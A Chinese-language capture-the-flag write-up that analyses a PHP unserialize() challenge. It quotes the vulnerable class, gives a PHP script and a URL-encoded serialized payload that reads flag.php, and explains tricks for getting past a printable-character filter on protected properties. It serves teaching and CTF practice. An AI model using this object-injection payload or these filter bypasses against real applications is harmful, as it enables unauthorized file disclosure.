<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
拿到題目是這樣一段代碼,開始分析。
反序列化題目大概的重點是兩個,一個是屬性值可以修改,一個是魔術方法 __destruct 和 __wakeup。從這兩個開始入手。
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
首先找到__destruct()開始分析,當op值為2時,將op值變為1。
這里需要注意的是===全等符,==="2"這個2被包裹在雙引號中,表示一個字符。
content這個屬性的值是置為""的。
接着看向process()方法。
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
當op屬性值為1時,執行write()方法。
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
如果設置了filename和content,判斷content內容>100則輸出Too long;能寫入文件中的話,則輸出Successful;否則輸出Failed。
但是由於content這個屬性的值是置為""的,所以無論我們輸入什么內容,都會被置為"",這是我們不可控的,那么寫一句話之類的是沒有用的,也就是說wirte()這個方法對我們拿到flag沒有用,不用看他。
回到process()方法接着往下看。
else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); }
當op屬性值為2時,執行read()方法。並輸出$res的值。
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
首先判斷了是否設置filename,如果設置有的話,則將文件中的內容讀取出來賦給$res。最后$res這個值是會被輸出的。
代碼一開始就提示了flag所在文件為flag.php,所以filename的值應該是flag.php。
編寫
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "flag.php";
}
}
$obj = new FileHandler ;
echo urlencode(serialize($obj));
?>
輸出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
這里進行了一個url編碼,以防有些字符顯示問題。
if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
最后將得到的payload傳入參數即可得flag。
這道題還有一個考點:
protected $op; protected $filename; protected $content;
題目開始定義屬性是用的protected,如果我們用這個編寫payload的話得到的是
會發現多出了%00,但是因為源碼中有這樣一串代碼
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
會遞歸判斷傳入的str是否在ascii碼32-125之間,%00為0,是不存在的,所以這里需要繞過protected。
第一種辦法就是將protected改為public,但是這只適用php版本大於等於7.2的。
第二種辦法是將屬性的s改為S
protected 就是修改成 \00*\00,其實就是 protected 的屬性 ,他是 %00*%00op 。但是%00這種字符我們是看不見的。所以瀏覽器輸出就是 *op
private 就是修改成 \00類名\00
修改后為
總結:在看源碼時先找到入口,看代碼一步一步分析,屬性是可構造的,要明白我們想要得到的結果是什么。